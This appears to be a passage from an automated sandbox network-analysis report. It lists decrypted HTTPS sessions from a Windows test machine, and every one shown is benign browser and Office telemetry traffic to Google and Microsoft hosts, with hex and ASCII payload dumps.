2024-11-19 23:19:09 UTC	1390	IN	Data Raw: 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 26 31 30 32 33 7c 35 36 33 32 30 29 29 7d 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6e 61 28 Data Ascii: d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536,c+=String.fromCharCode(e>>>10&1023\|55296),c+=String.fromCharCode(e&1023\|56320))}return c}});na(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49723	142.250.185.174	443	320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:10 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 912 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 23:19:10 UTC	912	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 32 30 35 38 33 34 38 33 39 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1732058348397",null,null,null,
2024-11-19 23:19:10 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=QyviqeOOo6ChP721LM8xHnCeli1hyg0Wqrsjma_RF-mMaZmXeNRHvhuV15SloivtFuPQNS4k2CIU9IWBkftJ59Q4gzRlkrJ_WFRdD-mo5mZm-rxp0d8c41NeIaHL84WEWp2o9h-xSE1sZX2vRTlmgMYl2zQtOi6BtP3LaZaByTVzLglafM0; expires=Wed, 21-May-2025 23:19:10 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 19 Nov 2024 23:19:10 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 19 Nov 2024 23:19:10 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-19 23:19:10 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-19 23:19:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49726	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:11 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 23:19:11 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=62773 Date: Tue, 19 Nov 2024 23:19:11 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49730	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:12 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 23:19:12 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=62733 Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-19 23:19:12 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49731	142.250.185.174	443	320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:12 UTC	923	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 917 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=QyviqeOOo6ChP721LM8xHnCeli1hyg0Wqrsjma_RF-mMaZmXeNRHvhuV15SloivtFuPQNS4k2CIU9IWBkftJ59Q4gzRlkrJ_WFRdD-mo5mZm-rxp0d8c41NeIaHL84WEWp2o9h-xSE1sZX2vRTlmgMYl2zQtOi6BtP3LaZaByTVzLglafM0
2024-11-19 23:19:12 UTC	917	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 32 30 35 38 33 35 30 33 30 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1732058350304",null,null,null,
2024-11-19 23:19:12 UTC	945	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=AlkTLQYnTeUzPZcMEPMzqBu1-saot1hw9dmdcm5KCEtyajkpLODnLMvmcIkJPuhh6_tsQdRHmyIkizdBUWzsKOKnNZLYXLcpaOpG3kNpGI2dE7emZcF0NkvIizLrpJpcFZshRytku9DCPGmTpU8w5zVI2zTaSKb4KZnQrspa_2_uRSCpVeXV0kWzluk; expires=Wed, 21-May-2025 23:19:12 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 19 Nov 2024 23:19:12 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 19 Nov 2024 23:19:12 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-19 23:19:12 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-19 23:19:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49734	94.245.104.56	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:17 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:17 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 19 Nov 2024 23:19:16 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:18 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:18 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231918Z-185f5d8b95cx9g8lhC1NYCtgvc00000001pg00000000r4xw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:18 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-19 23:19:18 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-19 23:19:18 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-19 23:19:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-19 23:19:18 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-19 23:19:18 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-19 23:19:18 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-19 23:19:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-19 23:19:19 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
